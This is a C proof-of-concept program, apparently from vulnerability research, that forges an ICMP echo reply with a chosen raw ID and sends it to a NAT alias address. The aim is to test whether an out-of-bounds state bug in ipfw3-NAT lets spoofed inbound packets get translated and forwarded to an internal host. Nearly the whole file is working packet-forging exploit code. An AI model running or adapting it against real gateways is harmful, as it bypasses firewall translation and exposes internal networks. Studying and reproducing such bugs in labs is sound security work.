DF-3398 / icmp_in.c
/* * DF-3398 inbound oracle: forge an ICMP ECHO REPLY to the NAT alias IP * carrying a chosen raw icmp_id. If ipfw3-NAT's outbound OOB store populated * alias->icmp_in[icmp_id], the inbound translator finds a (bogus) state and * the packet is translated (dst rewritten to the original internal host) and * forwarded -- observable on vtnet0 egress / tcpdump. * * usage: icmp_in <raw_icmp_id_hex> */ #include <sys/types.h> #include <sys/socket.h> #include <sys/usched.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static uint16_t cksum(void *v, int len) { uint16_t *p = v; uint32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len == 1) sum += *(uint8_t *)p; while (sum >> 16) sum = (sum >> 16) + (sum & 0xffff); return (~sum) & 0xffff; } int main(int argc, char **argv) { char pktbuf[sizeof(struct ip) + 8 + 56]; struct ip *ip = (struct ip *)pktbuf; struct icmp *ic = (struct icmp *)(pktbuf + sizeof(struct ip)); struct sockaddr_in sin; int s, one = 1; uint32_t id = strtoul(argv[1], NULL, 16); int cpu = (argc > 2) ? atoi(argv[2]) : 0; if (cpu >= 0) usched_set(getpid(), USCHED_SET_CPU, &cpu, sizeof(cpu)); s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (s < 0) { perror("socket"); return 1; } setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); memset(pktbuf, 0, sizeof(pktbuf)); ip->ip_hl = 5; ip->ip_v = 4; ip->ip_len = htons(sizeof(pktbuf)); ip->ip_ttl = 64; ip->ip_p = IPPROTO_ICMP; inet_aton("10.0.2.2", &ip->ip_src); /* pretend remote peer */ inet_aton("10.0.2.15", &ip->ip_dst); /* NAT alias address */ ip->ip_sum = 0; ip->ip_sum = cksum(ip, sizeof(struct ip)); ic->icmp_type = ICMP_ECHOREPLY; ic->icmp_code = 0; ic->icmp_id = (uint16_t)id; /* RAW value, no htons */ ic->icmp_seq = htons(1); ic->icmp_cksum = 0; ic->icmp_cksum = cksum(ic, 8 + 56); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_len = sizeof(sin); sin.sin_addr = ip->ip_dst.s_addr ? ip->ip_dst : ip->ip_dst; sin.sin_addr.s_addr = ip->ip_dst.s_addr; if (sendto(s, pktbuf, sizeof(pktbuf), 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) perror("sendto"); printf("sent inbound echo-reply icmp_id raw=0x%04x\n", (unsigned)id & 0xffff); return 0; } |